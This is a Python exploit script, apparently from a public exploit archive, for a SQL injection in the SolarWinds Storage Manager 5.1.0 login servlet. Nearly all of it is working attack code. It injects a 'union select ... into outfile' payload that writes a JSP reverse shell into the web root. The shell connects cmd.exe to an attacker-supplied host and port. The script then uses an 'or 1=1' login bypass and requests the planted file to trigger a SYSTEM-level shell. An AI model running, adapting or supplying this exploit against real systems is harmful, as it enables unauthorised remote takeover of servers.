Solarwinds Storage Manager 5.1.0 - Remote SYSTEM SQL Injection Exploit

                                                #!/usr/bin/python
######################################################################################
# Exploit Title: Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit
# Date: May 2nd 2012
# Author: muts
# Version: SolarWinds Storage Manager 5.1.0
# Tested on: Windows 2003
# Archive Url : http://www.offensive-security.com/0day/solarshell.txt
######################################################################################
# Discovered by Digital Defence - DDIVRT-2011-39
######################################################################################


import urllib, urllib2, cookielib
import sys
import random

print "\n[*] Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit"
print "[*] Vulnerability discovered by Digital Defence - DDIVRT-2011-39"

print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 4):
	print "[*] Usage: solarshell.py <RHOST> <LHOST> <LPORT>"
	exit(0)

rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]

filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',6):
	filename+=i
filename +=".jsp"

output_path= "c:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/%s" %filename

jsp = '''<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
	class StreamConnector extends Thread
	{
		InputStream is;
		OutputStream os;

		StreamConnector( InputStream is, OutputStream os )
		{
		this.is = is;
		this.os = os;
		}

		public void run()
		{
		BufferedReader in  = null;
		BufferedWriter out = null;
try
{
	in  = new BufferedReader( new InputStreamReader( this.is ) );
	out = new BufferedWriter( new OutputStreamWriter( this.os ) );
	char buffer[] = new char[8192];
	int length;
	while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
	{
		out.write( buffer, 0, length );
		out.flush();
	}
} catch( Exception e ){}
try
{
	if( in != null )
		in.close();
	if( out != null )
		out.close();
} catch( Exception e ){}
		}
	}

	try
	{
		Socket socket = new Socket( "''' + lhost +'''", '''+lport+''');
		Process process = Runtime.getRuntime().exec( "cmd.exe" );
		( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
		( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
	} catch( Exception e ) {}
%>'''

jsp = jsp.replace("\n","")
jsp = jsp.replace("\t","")

prepayload = "AAA' "
prepayload += 'union select 0x%s,2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile "%s"' % (jsp.encode('hex'),output_path)
prepayload += "#"
postpayload = "1' or 1=1#--"
loginstate='checkLogin'
password = 'OHAI'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : prepayload,'password' : password})
print "[*] Sending evil payload"
resp = opener.open("http://%s:9000/LoginServlet" %rhost, post_params)
print "[*] Triggering shell"
post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : postpayload,'password' : password})
resp = opener.open("http://%s:9000/LoginServlet" % rhost, post_params)
resp = opener.open("http://%s:9000/%s"  % (rhost,filename))
print "[*] Check your shell on %s %s\n" % (lhost,lport)

# 01010011 01101100 01100101 01100101 01110000 01101001 01110011 01101111 
# 01110110 01100101 01110010 01110010 01100001 01110100 01100101 01100100